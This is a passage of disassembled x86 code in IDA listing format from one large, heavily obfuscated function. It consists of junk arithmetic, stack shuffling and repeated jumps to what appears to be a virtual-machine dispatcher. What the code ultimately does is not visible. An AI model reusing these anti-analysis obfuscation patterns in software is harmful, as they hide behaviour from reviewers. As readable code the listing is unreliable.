sub_57DD3A+1B638j sub dl, 4Fh xor dl, 53h and cl, dl jmp loc_5A22F6 ; --------------------------------------------------------------------------- loc_596D0C: ; CODE XREF: sub_57DD3A+1BA9Aj mov dl, ah mov cl, dl pop edx mov ah, bh mov bh, cl pop cx xor bh, 0ABh add al, bh push [esp+0Ch+var_E+2] jmp loc_59AC0D ; --------------------------------------------------------------------------- loc_596D24: ; CODE XREF: sub_57DD3A+116CCj mov esi, 45F0307Ch or esi, 737819A8h shr esi, 3 shl esi, 2 jmp loc_594581 ; --------------------------------------------------------------------------- loc_596D3A: ; CODE XREF: sub_57DD3A+17576j mov edi, [esp+60h+var_60] push eax mov eax, esp jmp loc_593E32 ; --------------------------------------------------------------------------- loc_596D45: ; CODE XREF: sub_57DD3A+12274j push esi jmp loc_594CFF ; --------------------------------------------------------------------------- loc_596D4B: ; CODE XREF: sub_57DD3A+1944Cj push [esp+58h+var_58] pop edx sub esp, 4 mov [esp+5Ch+var_5C], ebx push esp mov ebx, [esp+60h+var_60] add esp, 4 add ebx, 4 add ebx, 4 xchg ebx, [esp+5Ch+var_5C] pop esp add ecx, esi mov esi, [esp+58h+var_58] jmp loc_5A2C18 ; --------------------------------------------------------------------------- loc_596D76: ; CODE XREF: sub_57DD3A+1B77Fj and cl, 0A1h sub cl, 88h sub al, cl mov ecx, [esp+58h+var_58] add esp, 4 sub al, 54h jmp loc_58F755 ; --------------------------------------------------------------------------- loc_596D8E: ; CODE XREF: sub_57DD3A+1A05Ej add esp, 4 push [esp+50h+var_50] pop ecx add esp, 4 xor al, bl jmp loc_59B1DF ; --------------------------------------------------------------------------- loc_596DA2: ; CODE XREF: sub_57DD3A+17AE2j push 35C2h jmp loc_595536 ; --------------------------------------------------------------------------- loc_596DAC: ; CODE XREF: sub_57DD3A+1FA73j xor eax, edi push [esp+46h+var_46] pop edi add esp, 4 push 66EEh mov [esp+46h+var_46], edx push edi push esi mov esi, 65DD4917h mov edi, 0DC3404EBh add edi, esi pop esi mov edx, 2CF11DB7h xor edx, edi mov edi, [esp+4Ah+var_4C+2] push ebp mov ebp, esp add ebp, 4 jmp loc_596663 ; --------------------------------------------------------------------------- loc_596DE4: ; CODE XREF: sub_57DD3A+21974j push [esp+4Eh+var_50+2] pop eax add esp, 4 mov ecx, [esp+4Ah+var_4C+2] push ecx mov ecx, esp add ecx, 4 jmp loc_5A093D ; --------------------------------------------------------------------------- loc_596DFC: ; CODE XREF: sub_57DD3A+1AFC8j and edx, 3D8234FBh jmp loc_5A2DB1 ; --------------------------------------------------------------------------- loc_596E07: ; CODE XREF: sub_57DD3A+21E18j pop edx jmp loc_598E14 ; --------------------------------------------------------------------------- loc_596E0D: ; CODE XREF: sub_57DD3A+16BE4j mov [esp+1Ch+var_1E+2], edx jmp loc_59BA08 ; --------------------------------------------------------------------------- loc_596E15: ; CODE XREF: sub_57DD3A+21591j push esi mov esi, 22494CEEh push ebp mov ebp, 17E74420h shr ebp, 5 dec ebp add ebp, 0FFFFFFFFh not ebp push esi mov esi, 0D855A8B1h sub ebp, esi jmp loc_58EBE7 ; --------------------------------------------------------------------------- loc_596E37: ; CODE XREF: sub_57DD3A+15F3Cj add esp, 4 xor ecx, ebx xor ebx, ecx xor ecx, ebx not ebx xchg ebx, ecx push esi jmp loc_5A2575 ; --------------------------------------------------------------------------- loc_596E4A: ; CODE XREF: sub_57DD3A+12D05j push edi mov edi, 192810CCh xor esi, edi pop edi sub esi, 25A06172h add ebx, esi pop esi push ecx push esp push [esp+12h+var_12] push [esp+16h+var_16] pop ecx add esp, 4 add esp, 4 add ecx, 4 sub ecx, 4 xchg ecx, [esp+0Eh+var_E] pop esp mov [esp+0], edx push 72F97B5Bh pop edx push edx jmp loc_592ADF ; --------------------------------------------------------------------------- loc_596E87: ; CODE XREF: sub_57DD3A+21947j mov esp, [esp+0Eh+var_E] test cx, ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_596E93: ; CODE XREF: sub_57DD3A+22249j mov [esp+12h+var_12], edi mov edi, 4 push edi jmp loc_5A0B4E ; --------------------------------------------------------------------------- loc_596EA1: ; CODE XREF: sub_57DD3A+11CB6j xchg ebx, [esp+8+var_8] mov esp, [esp+8+var_8] ror word ptr [esp+8+var_8], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_596EB1: ; CODE XREF: sub_57DD3A+1DECCj add edx, 8587B1Dh push eax mov eax, 3F2C12D0h push edi push ecx jmp loc_5901D7 ; --------------------------------------------------------------------------- loc_596EC4: ; CODE XREF: sub_57DD3A+1733Dj add eax, 72232B13h pop ebx sub esp, 4 mov [esp+14h+var_16+2], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+14h+var_16+2] pop esp mov [esp+10h+var_12+2], eax push [esp+10h+var_E+2] pop eax pop [esp+10h+var_12+2] mov esp, [esp+0Ch+var_E+2] or [esp+0Ch+var_E+2], eax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_596EF8: ; CODE XREF: sub_57DD3A+2279Cj mov [esp+10h+var_12+2], ebx mov ebx, 585D5EDFh push esi jmp loc_590A3A ; --------------------------------------------------------------------------- loc_596F06: ; CODE XREF: sub_57DD3A+136C6j pop ebp mov edi, [esp+16h+var_16] add esp, 4 mov ebp, [esp+12h+var_12] add esp, 4 rep movsd add esp, [edx+38h] jmp loc_59D46F ; --------------------------------------------------------------------------- loc_596F1D: ; CODE XREF: sub_57DD3A+1D380j mov esi, 455704E6h jmp loc_5996B6 ; --------------------------------------------------------------------------- loc_596F27: ; CODE XREF: sub_57DD3A+22103j pop [esp+0Eh+var_E] pop esp push [esp+6+var_8+2] mov edx, [esp+0] jmp loc_59E587 ; --------------------------------------------------------------------------- push dword ptr [esp+0] push dword ptr [esp] jmp loc_59CF26 ; --------------------------------------------------------------------------- loc_596F41: ; CODE XREF: sub_57DD3A+1B9D2j sub esp, 4 mov [esp+16h+var_16], edx mov dl, 0Ch jmp loc_59BDFD ; --------------------------------------------------------------------------- loc_596F4E: ; CODE XREF: sub_57DD3A+1D29Aj push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push [esp+1Eh+var_1A] pop ebx jmp loc_5958AB ; --------------------------------------------------------------------------- loc_596F68: ; CODE XREF: sub_57DD3A+1E64Ej add edi, 758B45A0h add edi, 74DF5119h add edi, 632647EAh push ecx jmp loc_591DFB ; --------------------------------------------------------------------------- loc_596F80: ; CODE XREF: sub_57DD3A+250A9j pop ebx sub dl, 93h xor al, dl mov edx, [esp+1Eh+var_1E] push edx jmp loc_5A0734 ; --------------------------------------------------------------------------- loc_596F8F: ; CODE XREF: sub_57DD3A+12606j mov eax, 531B6760h jmp loc_5A0C98 ; --------------------------------------------------------------------------- loc_596F99: ; CODE XREF: sub_57DD3A+1DB13j push esi push ecx mov ecx, 6C3F0C37h jmp loc_591F52 ; --------------------------------------------------------------------------- loc_596FA5: ; CODE XREF: sub_57DD3A+1B65Ej sub eax, 7A16229Fh pop edi push edi mov edi, 4 add eax, 64072D1h add eax, edi jmp loc_59EB14 ; --------------------------------------------------------------------------- loc_596FBD: ; CODE XREF: sub_57DD3A+22908j mov [esp+0Ch+var_E+2], edi mov edi, 79C10418h add eax, edi mov edi, [esp+0Ch+var_E+2] jmp loc_5938D9 ; --------------------------------------------------------------------------- loc_596FCF: ; CODE XREF: sub_57DD3A+24D44j add esp, 4 push ebx mov ebx, 140C2D43h shl ebx, 7 sub ebx, 5E007670h neg ebx neg ebx xor ebx, 0A90D54AEh xor ebp, ebx pop ebx dec ebp shr ebp, 6 neg ebp push edi mov edi, 0B415B98Ah xor ebp, edi pop edi xor edx, ebp mov ebp, [esp+8+var_8] add esp, 4 push 5CA8h mov [esp+8+var_8], edi mov edi, 56596E62h or edi, 7B9328BEh add edi, 33757037h push edi not [esp+0Ch+var_E+2] pop edi neg edi shl edi, 8 add edi, 0ABA1914Ah add edx, edi pop edi sub esp, 4 mov [esp+8+var_8], edx sub [esp+8+var_8], 4CB9701Dh mov ebp, [esp+8+var_8] add esp, 4 jmp loc_58F838 ; --------------------------------------------------------------------------- loc_597052: ; CODE XREF: sub_57DD3A+20010j pop ebx jmp loc_5932A9 ; --------------------------------------------------------------------------- loc_597058: ; CODE XREF: sub_57DD3A+25335j inc eax sub eax, 0A38B5E6Fh add ebp, eax jmp loc_59B501 ; --------------------------------------------------------------------------- loc_597065: ; CODE XREF: sub_57DD3A+22F16j not dl push ecx mov ch, 22h sub dl, ch pop ecx sub dl, 76h mov al, dl jmp loc_59050E ; --------------------------------------------------------------------------- loc_597077: ; CODE XREF: sub_57DD3A+1C03Aj add ecx, ebx add ecx, 83F7051h pop ebx xor ecx, [esp-4+arg_0] xor [esp-4+arg_0], ecx jmp loc_5A300E ; --------------------------------------------------------------------------- loc_59708B: ; CODE XREF: sub_57DD3A+1EE70j pop ebp sub edx, 4 xor edx, [esp+0] xor [esp+0], edx xor edx, [esp+0] jmp loc_59C5B9 ; --------------------------------------------------------------------------- loc_59709D: ; CODE XREF: sub_57DD3A+2385Aj add esp, 4 sub eax, ebx mov ebx, [esp-0Ch+arg_6+2] add esp, 4 mov edx, [esp-10h+arg_A+2] jmp loc_59A0F2 ; --------------------------------------------------------------------------- loc_5970B3: ; CODE XREF: sub_57DD3A+12B6Aj sub esp, 4 mov [esp+3Ah+var_3A], esi jmp loc_59BA79 ; --------------------------------------------------------------------------- loc_5970C1: ; CODE XREF: sub_57DD3A+12DD4j push ebx jmp loc_598AF7 ; --------------------------------------------------------------------------- loc_5970C7: ; CODE XREF: sub_57DD3A+1ADD1j mov ecx, 4C50FCAh sub esp, 4 mov [esp+74h+var_74], ebp sub esp, 4 mov [esp+78h+var_78], edx push 1E5F4C57h mov edx, [esp+7Ch+var_7C] add esp, 4 push ebp mov ebp, 15952854h or edx, ebp mov ebp, [esp+7Ch+var_7C] add esp, 4 push 382h mov [esp+7Ch+var_7C], eax mov eax, 1B1A5C89h push ebx jmp loc_59CEBC ; --------------------------------------------------------------------------- loc_59710A: ; CODE XREF: sub_57DD3A+1433Fj add al, ch pop ecx add al, 7Fh push esi mov esi, esp push eax mov eax, 5AF07738h inc eax sub eax, 5AF07735h add esi, eax pop eax jmp loc_59341E ; --------------------------------------------------------------------------- loc_597126: ; CODE XREF: sub_57DD3A+10A42j shl esi, 4 inc esi jmp loc_5A1F5E ; --------------------------------------------------------------------------- loc_59712F: ; CODE XREF: sub_57DD3A+158E5j dec bh add bh, 0FBh jmp loc_599F31 ; --------------------------------------------------------------------------- loc_597139: ; CODE XREF: sub_57DD3A+12784j dec edi inc edi jmp loc_595658 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp+22h+var_22], eax mov eax, 7D3C52DCh push ecx mov ecx, 290317CEh and eax, ecx pop ecx neg eax push esi mov esi, 0D6FFED0Ch jmp loc_58E3CD ; --------------------------------------------------------------------------- loc_597164: ; CODE XREF: sub_57DD3A+1CBA5j mov ebx, 3B5B2DEEh sub [esp+26h+var_22], ebx push [esp+26h+var_26] jmp loc_59E347 ; --------------------------------------------------------------------------- loc_597175: ; CODE XREF: sub_57DD3A+12916j mov esi, ecx pop ecx add esi, 2DDE5876h sub esi, edx sub esi, 2DDE5876h jmp loc_596D4B ; --------------------------------------------------------------------------- loc_59718B: ; CODE XREF: sub_57DD3A+12F00j mov eax, [esp+58h+var_58] add esp, 4 sub eax, ebp push [esp+54h+var_54] jmp loc_5918E8 ; --------------------------------------------------------------------------- loc_59719E: ; CODE XREF: sub_57DD3A+10F12j xor ecx, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] jmp loc_5A0F13 ; --------------------------------------------------------------------------- loc_5971A9: ; CODE XREF: sub_57DD3A+174C2j push [esp+50h+var_4C] jmp loc_59F67D ; --------------------------------------------------------------------------- loc_5971B2: ; CODE XREF: sub_57DD3A+1D4D3j mov ah, cl inc ah jmp loc_59EB78 ; --------------------------------------------------------------------------- loc_5971BB: ; CODE XREF: sub_57DD3A+17A59j not ch jmp loc_59EF11 ; --------------------------------------------------------------------------- loc_5971C2: ; CODE XREF: sub_57DD3A+18BBEj mov ecx, 4 add ebp, 2CB70E2Bh add ebp, 399F2EF0h add ebp, ecx sub ebp, 399F2EF0h sub ebp, 2CB70E2Bh pop ecx push ebp jmp loc_593D28 ; --------------------------------------------------------------------------- loc_5971E8: ; CODE XREF: sub_57DD3A+24E7Aj pop ax add cl, 0D8h add cl, dl jmp loc_598312 ; --------------------------------------------------------------------------- loc_5971F4: ; CODE XREF: sub_57DD3A+14D0Fj sub edi, ebx pop ebx xchg edi, [esp+16h+var_16] pop esp mov [esp+12h+var_12], edi mov edi, 5C3D0616h jmp loc_5A2D1D ; --------------------------------------------------------------------------- loc_597208: ; CODE XREF: sub_57DD3A+23D69j push 6C1Bh jmp loc_5966AF ; --------------------------------------------------------------------------- loc_597212: ; CODE XREF: sub_57DD3A+11AE6j mov [ecx], edi pop edi xor dword ptr [ecx], 26E277F2h mov ecx, [esp+80h+var_80] sub esp, 4 mov [esp+84h+var_84], ecx jmp loc_5A19C8 ; --------------------------------------------------------------------------- loc_59722C: ; CODE XREF: sub_57DD3A+11677j push 33A7360Dh mov edx, [esp+32h+var_32] add esp, 4 push esi mov esi, 0C9A6CAFh sub esi, 2CE94F59h dec esi xor esi, 3180754Eh add esi, 7373FFFFh and edx, esi pop esi jmp loc_59968F ; --------------------------------------------------------------------------- loc_597258: ; CODE XREF: sub_57DD3A+1D053j xchg ecx, [esp+2Eh+var_2E] pop esp sub esp, 4 mov [esp+2Eh+var_2E], esi push ecx push 4C6B09A0h jmp loc_59B57F ; --------------------------------------------------------------------------- loc_59726D: ; CODE XREF: sub_57DD3A+1A458j pop edi push ebp mov ebp, 4 add edi, ebp jmp loc_59B5E5 ; --------------------------------------------------------------------------- loc_59727B: ; CODE XREF: sub_57DD3A+21495j sub esi, 4 xchg esi, [esp+36h+var_36] pop esp mov [esp+32h+var_32], ebp mov ebp, 1 push ebx mov ebx, 42B66983h sub [esp+36h+var_2E], 16046BDFh sub [esp+36h+var_2E], ebx add [esp+36h+var_2E], 16046BDFh pop ebx add [esp+32h+var_2E], ebp push ebx mov ebx, 42B66983h sub [esp+36h+var_2E], 1E882743h add [esp+36h+var_2E], ebx push 7A4Ah mov [esp+3Ah+var_3A], eax jmp loc_59C39A ; --------------------------------------------------------------------------- mov ax, word ptr [esp+3Ah+var_3A] jmp loc_59DC53 ; --------------------------------------------------------------------------- loc_5972D1: ; CODE XREF: sub_57DD3A+15C3Bj pop edx and eax, 33C21A89h shr eax, 8 push edi mov edi, 32C21Ch xor eax, edi mov edi, [esp+7Ch+var_7C] add esp, 4 add ebx, 71F75F7h add ebx, eax sub ebx, 71F75F7h pop eax push 7DF3h mov [esp+78h+var_78], eax mov eax, 4 sub ebx, 53241697h jmp loc_58EA4A ; --------------------------------------------------------------------------- loc_597312: ; CODE XREF: sub_57DD3A+22885j sub edx, 173522Ah jmp loc_599ADB ; --------------------------------------------------------------------------- loc_59731D: ; CODE XREF: sub_57DD3A+147F9j dec ebp jmp loc_59C24E ; --------------------------------------------------------------------------- loc_597323: ; CODE XREF: sub_57DD3A+17C88j xor ecx, 2E435192h add ebp, ecx mov ecx, [esp+4Eh+var_50+2] add esp, 4 add eax, ebp pop ebp pop edi xor ebx, eax pop small word ptr [eax] jmp loc_59EB0F ; --------------------------------------------------------------------------- loc_59733F: ; CODE XREF: sub_57DD3A+1218Aj jmp loc_58E353 ; --------------------------------------------------------------------------- loc_597344: ; CODE XREF: sub_57DD3A+22A5Aj mov ax, word ptr [esp+50h+var_50] push 14EEh mov [esp+54h+var_54], ebp jmp loc_5A2B21 ; --------------------------------------------------------------------------- loc_597355: ; CODE XREF: sub_57DD3A+23E47j xchg esi, [esp+54h+var_54] pop esp jmp loc_5A2373 ; --------------------------------------------------------------------------- loc_59735E: ; CODE XREF: sub_57DD3A+21725j pop ebx push 28A9h mov [esp+50h+var_50], edx push edx push ecx mov ecx, 421B1C8Ah mov edx, 527970D0h xor edx, ecx pop ecx xor [esp+54h+var_50], edx push [esp+54h+var_54] pop edx add esp, 4 push [esp+50h+var_50] mov eax, [esp+54h+var_54] push esi mov esi, esp jmp loc_599220 ; --------------------------------------------------------------------------- loc_597392: ; CODE XREF: sub_57DD3A+23DC1j sub esp, 4 push esp pop [esp+60h+var_60] add [esp+5Ch+var_5C], 4 mov edi, [esp+5Ch+var_5C] add esp, 4 jmp loc_593516 ; --------------------------------------------------------------------------- loc_5973AB: ; CODE XREF: sub_57DD3A+157E2j push esi mov esi, 661A5806h sub edi, esi mov esi, [esp+64h+var_64] jmp loc_59BC57 ; --------------------------------------------------------------------------- loc_5973BB: ; CODE XREF: sub_57DD3A+14EC6j pop esp add eax, esi jmp loc_59F711 ; --------------------------------------------------------------------------- loc_5973C3: ; CODE XREF: sub_57DD3A+1814Bj mov dh, ch pop ecx pop ebx mov bh, 84h xor bh, dh push dword ptr [esp+0] pop edx add esp, 4 add al, 32h add al, 0A9h sub al, bh jmp loc_58E5F6 ; --------------------------------------------------------------------------- loc_5973E0: ; CODE XREF: sub_57DD3A+219BAj sub ebp, eax pop eax sub ebp, 346718Ah push eax push 73443C38h pop eax sub ebp, eax jmp loc_59E228 ; --------------------------------------------------------------------------- loc_5973F7: ; CODE XREF: sub_57DD3A+13BFCj jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5973FC: ; CODE XREF: sub_57DD3A+22630j pop esi pop ebx sub esi, 0BF7CEEECh jmp loc_58E4B3 ; --------------------------------------------------------------------------- loc_597409: ; CODE XREF: sub_57DD3A+13D86j mov [esp+24h+var_26+2], eax mov eax, 3D535711h mov esi, 72F62C81h xor esi, eax mov eax, [esp+24h+var_26+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5A2669 ; --------------------------------------------------------------------------- loc_59742C: ; CODE XREF: sub_57DD3A+19959j sub al, bh sub esp, 4 jmp loc_5A0DDC ; --------------------------------------------------------------------------- loc_597439: ; CODE XREF: sub_57DD3A+11CEFj shl ebx, 1 jmp loc_599DB8 ; --------------------------------------------------------------------------- loc_597440: ; DATA XREF: sub_57DD3A+10362o movzx ax, byte ptr [edx] sub esp, 4 mov [esp+8+var_8], edx push esp mov edx, [esp+0Ch+var_E+2] add esp, 4 push eax push ebp jmp loc_58F7B7 ; --------------------------------------------------------------------------- loc_59745B: ; CODE XREF: sub_57DD3A+24EBAj add edi, edx pop edx sub edi, 6A617DC8h add edi, esi add edi, 6A617DC8h sub edi, 13F84780h pop esi add edi, 4 xchg edi, [esp+8+var_8] mov esp, [esp+8+var_8] sub [esp+8+var_8], 69BF0A66h add [esp+8+var_8], eax add [esp+8+var_8], 69BF0A66h push 7330h mov [esp+0Ch+var_E+2], ebx mov ebx, 16DF12F2h add [esp+0Ch+var_8], ebx pop ebx jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5974A4: ; CODE XREF: sub_57DD3A+23057j xor [esp+8+var_8], ebx xor ebx, [esp+8+var_8] mov esp, [esp+8+var_8] push 2E79h mov [esp+0Ch+var_E+2], edi jmp loc_594D26 ; --------------------------------------------------------------------------- loc_5974BA: ; CODE XREF: sub_57DD3A+156BCj pop esp mul cl movzx cx, ah push small 54C6h mov word ptr [esp+7Eh+var_80+2], cx movzx cx, al push cx pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5974D5: ; CODE XREF: sub_57DD3A+23A57j mov ebp, esp jmp loc_59D06F ; --------------------------------------------------------------------------- loc_5974DC: ; CODE XREF: sub_57DD3A+2170Dj mov ebx, 27BABE4Eh jmp loc_59C091 ; --------------------------------------------------------------------------- loc_5974E6: ; CODE XREF: sub_57DD3A+1B3F8j pop ebp add ebx, ecx sub ebx, 26B46053h mov ecx, [esp+80h+var_80] push edx push esp pop edx add edx, 4 jmp loc_597E6C ; --------------------------------------------------------------------------- loc_597500: ; CODE XREF: sub_57DD3A+251C0j xor ebx, [esp+84h+var_84] mov esp, [esp+84h+var_84] and dl, 24h not dl push eax jmp loc_59764A ; --------------------------------------------------------------------------- loc_597511: ; CODE XREF: sub_57DD3A+1DB2Fj sub ebx, ecx pop ecx add ebx, edi add ebx, 2FA41139h pop edi sub ebx, esi sub ebx, 26F61C9Eh pop esi jmp loc_5A096A ; --------------------------------------------------------------------------- loc_59752B: ; CODE XREF: sub_57DD3A+2206Bj pop esp add eax, 4 push ebp mov ebp, esp sub esp, 4 mov [esp+80h+var_80], ebx jmp loc_597C98 ; --------------------------------------------------------------------------- loc_597542: ; CODE XREF: sub_57DD3A+1A0A4j inc eax inc eax and eax, 7C763012h sub esp, 4 mov [esp+84h+var_84], edi push esi mov esi, 2B452F3Dh mov edi, esi pop esi sub edi, 0FFFFFFFFh shr edi, 4 shr edi, 5 xor edi, 799314BEh or edi, 61E77FADh sub esp, 4 jmp loc_59FC97 ; --------------------------------------------------------------------------- loc_597575: ; CODE XREF: sub_57DD3A+20730j push edi mov edi, 286D38D8h jmp loc_5A0818 ; --------------------------------------------------------------------------- loc_597580: ; CODE XREF: sub_57DD3A+1D6BAj push ebx push esi mov esi, 4 mov ebx, esi pop esi jmp loc_59773C ; --------------------------------------------------------------------------- loc_59758F: ; CODE XREF: sub_57DD3A+1828Cj sub ebp, 59410843h add ebp, esi add ebp, 59410843h mov esi, [esp+5Ch+var_5C] add esp, 4 sub esp, 4 mov [esp+5Ch+var_5C], edx jmp loc_59421F ; --------------------------------------------------------------------------- loc_5975B1: ; CODE XREF: sub_57DD3A+245B7j pop edi xchg edx, [esp+58h+var_58] pop esp mov [esp+54h+var_54], ecx mov ecx, 37FFE77Ch sub eax, ecx push [esp+54h+var_54] mov ecx, [esp+58h+var_58] add esp, 4 push esi mov esi, esp push ebp mov ebp, 0A5474A2h and ebp, 60AD0DEBh push ebx mov ebx, 292F40E2h add ebx, 28CB3648h shl ebx, 8 xor ebx, 58CD162h add ebp, ebx pop ebx add esi, ebp pop ebp push ebp mov ebp, 2E5F65A8h add ebp, 0D1A09A5Ch add esi, ebp pop ebp jmp loc_59D2F8 ; --------------------------------------------------------------------------- loc_597607: ; CODE XREF: sub_57DD3A+11B67j sub eax, 4 xchg eax, [esp+84h+var_84] pop esp mov [esp+80h+var_80], ebx mov ebx, 4 jmp loc_5986CF ; --------------------------------------------------------------------------- loc_59761B: ; CODE XREF: sub_57DD3A+1DCEEj mov eax, [esp+80h+var_80] add esp, 4 add esp, 4 push edi push esp mov edi, [esp+80h+var_80] add esp, 4 add edi, 4 sub edi, 4 jmp loc_590EEB ; --------------------------------------------------------------------------- loc_597643: ; CODE XREF: sub_57DD3A+2458Cj add al, dh jmp loc_58FD4F ; --------------------------------------------------------------------------- loc_59764A: ; CODE XREF: sub_57DD3A+197D2j mov al, 9Ch inc al xor al, 62h sub dl, al pop eax shl dl, 1 jmp loc_5A0E4E ; --------------------------------------------------------------------------- loc_59765A: ; CODE XREF: sub_57DD3A+1E8EAj mov [esp+84h+var_84], ebp jmp loc_59B16F ; --------------------------------------------------------------------------- loc_597662: ; CODE XREF: sub_57DD3A+22398j mov esp, [esp+84h+var_84] push 7362h mov [esp+88h+var_88], eax mov eax, esp push 1CA1h mov [esp+8Ch+var_8C], edx jmp loc_599E79 ; --------------------------------------------------------------------------- loc_59767C: ; CODE XREF: sub_57DD3A+1E1F2j add cl, dl pop dx sub dl, cl pop ecx xor dl, 78h add al, 15h jmp loc_5A25F5 ; --------------------------------------------------------------------------- loc_59768D: ; CODE XREF: sub_57DD3A+11E12j sub bl, 44h add al, bl pop ebx jmp loc_59742C ; --------------------------------------------------------------------------- loc_597698: ; CODE XREF: sub_57DD3A+1D4DEj sub eax, 3E87F819h sub ecx, eax pop eax shr ecx, 4 not ecx sub ecx, 0AB216E2Bh add eax, ecx pop ecx push ebp mov ebp, 0B9A0B20h inc ebp not ebp jmp loc_593BAB ; --------------------------------------------------------------------------- loc_5976BC: ; CODE XREF: sub_57DD3A+23456j shr ecx, 0Bh push 0CF5h mov [esp+14h+var_16+2], ebx add [esp+14h+var_16+2], 7ACD6B0Ch mov eax, [esp+14h+var_16+2] push ebp mov ebp, esp jmp loc_5A2CEF ; --------------------------------------------------------------------------- loc_5976D9: ; CODE XREF: sub_57DD3A+2341Ej mov ecx, [esp+18h+var_1A+2] add esp, 4 or eax, eax jnz loc_597D1E push 54C2h mov [esp+18h+var_1A+2], edi sub esp, 4 mov [esp+1Ch+var_1E+2], ebx mov ebx, 71F62676h jmp loc_59CB75 ; --------------------------------------------------------------------------- loc_597705: ; CODE XREF: sub_57DD3A+1EF8Bj pop edi jmp loc_595C63 ; --------------------------------------------------------------------------- loc_59770B: ; CODE XREF: sub_57DD3A+169BCj mov esi, 7A7319B3h mov ebx, 9C11E9A3h add ebx, esi pop esi xor ebx, eax push [esp+5Ch+var_5C] jmp loc_594923 ; --------------------------------------------------------------------------- loc_597722: ; CODE XREF: sub_57DD3A+20EADj xor dh, 71h add al, 85h add al, dh sub al, 85h mov edx, [esp+60h+var_60] add esp, 4 push edx mov dl, 7Fh jmp loc_597EDC ; --------------------------------------------------------------------------- loc_59773C: ; CODE XREF: sub_57DD3A+19850j sub ecx, 68991788h add ecx, ebx jmp loc_59DECF ; --------------------------------------------------------------------------- loc_597749: ; CODE XREF: sub_57DD3A+11B9Bj sub ebp, 0A141E897h mov eax, ebp jmp loc_5938B3 ; --------------------------------------------------------------------------- loc_597756: ; CODE XREF: sub_57DD3A+1F26Fj push edx not byte ptr [esp+7Ch+var_7C+1] pop edx add dh, 0Ch sub bl, 39h sub bl, dh add bl, 39h jmp loc_59A990 ; --------------------------------------------------------------------------- loc_59776C: ; CODE XREF: sub_57DD3A+1373Aj pop ebx add [esp+32h+var_2A], edx jmp loc_59630A ; --------------------------------------------------------------------------- loc_597776: ; CODE XREF: sub_57DD3A+200E3j mov ax, word ptr [esp+32h+var_32] push 6279h mov [esp+36h+var_36], edx mov edx, esp add edx, 4 sub esp, 4 mov [esp+3Ah+var_3A], edi push ebx push 6E9301A9h pop ebx push ebx jmp loc_5945D9 ; --------------------------------------------------------------------------- loc_5977A0: ; CODE XREF: sub_57DD3A+19B3Dj jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5977A5: ; CODE XREF: sub_57DD3A+23A04j sub ecx, edx jmp loc_593BB6 ; --------------------------------------------------------------------------- loc_5977AC: ; CODE XREF: sub_57DD3A+2202Bj pop esi xchg edi, [esp+3Eh+var_3E] jmp loc_59F0AA ; --------------------------------------------------------------------------- loc_5977B5: ; CODE XREF: sub_57DD3A+148FBj pop esp mov [esp+14h+var_16+2], edx jmp loc_59A3DF ; --------------------------------------------------------------------------- loc_5977BE: ; CODE XREF: sub_57DD3A+20265j mov [esp+14h+var_16+2], ebx mov ebx, 4 add ecx, ebx push [esp+14h+var_16+2] mov ebx, [esp+18h+var_1A+2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+1Ch+var_1E+2] jmp loc_59A5D5 ; --------------------------------------------------------------------------- loc_5977E5: ; CODE XREF: sub_57DD3A+159F7j add ecx, 4 jmp loc_59B46A ; --------------------------------------------------------------------------- loc_5977ED: ; CODE XREF: sub_57DD3A+1AA4Aj sub eax, 3A442AEAh push esi jmp loc_58F46B ; --------------------------------------------------------------------------- loc_5977F8: ; CODE XREF: sub_57DD3A+24973j mov esi, [esp+62h+var_64+2] add esp, 4 jmp loc_5A22CB ; --------------------------------------------------------------------------- loc_597803: ; CODE XREF: sub_57DD3A+13677j push ebx push 7C752034h pop ebx xor ebx, 75FB5B57h xor ebx, 1A9B6C56h and ebx, 5D6159Ah xor ebx, 1141514h mov ecx, ebx pop ebx add eax, ecx pop ecx xchg eax, [esp+12h+var_12] jmp loc_596119 ; --------------------------------------------------------------------------- loc_597830: ; CODE XREF: sub_57DD3A+1D229j add esp, 4 jmp loc_59FFAE ; --------------------------------------------------------------------------- loc_59783B: ; CODE XREF: sub_57DD3A+111F6j pop esp push edi mov edi, 380C1316h sub edi, 1 push edx mov edx, 48495FCCh and edx, 65652743h sub edx, 0C4DCCEBFh and edi, edx pop edx add edi, 21FA35C9h add ebx, edi push [esp+3Ah+var_3A] push [esp+3Eh+var_3E] pop edi add esp, 4 add esp, 4 push dword ptr [eax] jmp loc_5977A0 ; --------------------------------------------------------------------------- loc_59787C: ; CODE XREF: sub_57DD3A+2073Cj push edx push eax mov eax, 74F8193Ch mov edx, eax pop eax jmp loc_59EEAF ; --------------------------------------------------------------------------- loc_59788B: ; CODE XREF: sub_57DD3A+12A86j xor ebx, [esp+1Ch+var_1E+2] jmp loc_591424 ; --------------------------------------------------------------------------- loc_597893: ; CODE XREF: sub_57DD3A+15553j shr ecx, 2 jmp loc_5979CA ; --------------------------------------------------------------------------- loc_59789B: ; CODE XREF: sub_57DD3A+166CCj add edi, 2BD24771h xor eax, edi pop edi add eax, 0CEF3A4F8h jmp loc_59AB60 ; --------------------------------------------------------------------------- loc_5978AE: ; CODE XREF: sub_57DD3A+1237Dj neg ebp dec ebp not ebp jmp loc_59ADE5 ; --------------------------------------------------------------------------- loc_5978B8: ; CODE XREF: sub_57DD3A+13070j add esp, 4 xor edx, 0AB13C2CFh mov ebp, edx pop edx add ecx, 2BCB107Ch add ecx, ebp sub ecx, 2BCB107Ch jmp loc_5A1B00 ; --------------------------------------------------------------------------- loc_5978DA: ; CODE XREF: sub_57DD3A+1670Ej not edi jmp loc_59B107 ; --------------------------------------------------------------------------- loc_5978E1: ; CODE XREF: sub_57DD3A+13EB3j mov eax, esp add eax, 4 push edx jmp loc_59FB75 ; --------------------------------------------------------------------------- loc_5978EE: ; CODE XREF: sub_57DD3A+140A2j pop ecx sub esp, 4 mov [esp+1Ah+var_1A], ebx mov ebx, esp push eax mov eax, 4 add 